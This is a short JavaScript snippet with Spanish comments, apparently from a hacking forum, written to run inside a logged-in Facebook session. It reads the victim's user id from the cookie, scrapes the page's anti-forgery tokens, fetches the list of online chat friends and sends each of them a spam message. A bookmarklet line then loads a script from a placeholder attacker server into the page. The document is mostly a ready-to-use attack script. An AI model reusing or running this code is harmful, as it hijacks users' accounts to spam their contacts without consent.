/* Obtengo el tag HEAD */var head= document.getElementsByTagName('head')[0];/* creo un elemento SCRIPT */var script= document.createElement('script');/* le doy el tipo javascript */script.type= 'text/javascript';/* framework JQuery */script.src= 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js';/* Agrego un evento ONLOAD al SCRIPT */script.onload = function(){ /* Una vez que se haya cargado JQUERY debo comenzar a utilizarlo */ /* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */ $.ajax({ /* La url será la raíz de Facebook */ url: "/", /* al tener éxito en la consulta sacaré los datos que necesito */ success: function(data){ /* busco , en la cookie, la id de usuario con expresiones regulares*/ var user_id = document.cookie.match(/c_user=(\d+)/)[1]; /* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value" */ var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1]; /* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value" */ var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1]; /* [PASO 2] - Listar Usuarios Conectados */ $.ajax({ url:'/ajax/chat/buddy_list.php?__a=1', /* Paso como parámetro los datos que obtuve y definí en el paso 1 */ data: { user: user_id, post_form_id: post_form_id, fb_dtsg: fb_dtsg, lsd: null, post_form_id_source: 'AsyncRequest', popped_out: false, force_render: true }, success: function(chatResponse){ /* De la respuesta elimino un ciclo infinito for(;{} y transformo a objeto javascript */ var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')'); /* Del objeto javascript obtengo la lista de amigos */ var buddyList = jsonChatResponse['payload']['buddy_list']; /* [PASO 3] - Enviamos a cada amigo un mensaje */ /* Recorrimos la lista de amigos que estan disponibles */ for (var contact in buddyList['nowAvailableList']) { /* Creamos una nueva petición Ajax, ésta vez por el metodo POST */ $.ajax({ url: '/ajax/chat/send.php?__a=1', type: "POST", data: { msg_id: Math.floor(Math.random() * 1335448958), client_time: (new Date).getTime(), /* Aquí agregamos nuestro Mensaje */ msg_text: "Bot Spam HackxCrack xD", to: contact, post_form_id: post_form_id, fb_dtsg: fb_dtsg, post_form_id_source: "AsyncRequest" }, success: function(chatSendResponse){ } }); } } }); } });};/* Agrego el tag SCRIPT Al tag HEAD */head.appendChild(script);
javascript:(s=document.createElement('script')).src='http://tuservidor/tuarchivo.js', document.body.appendChild(s); void(0);
Ja ja ja... quien sabe, tal vez en mi vida anterior fui paloma mensajera...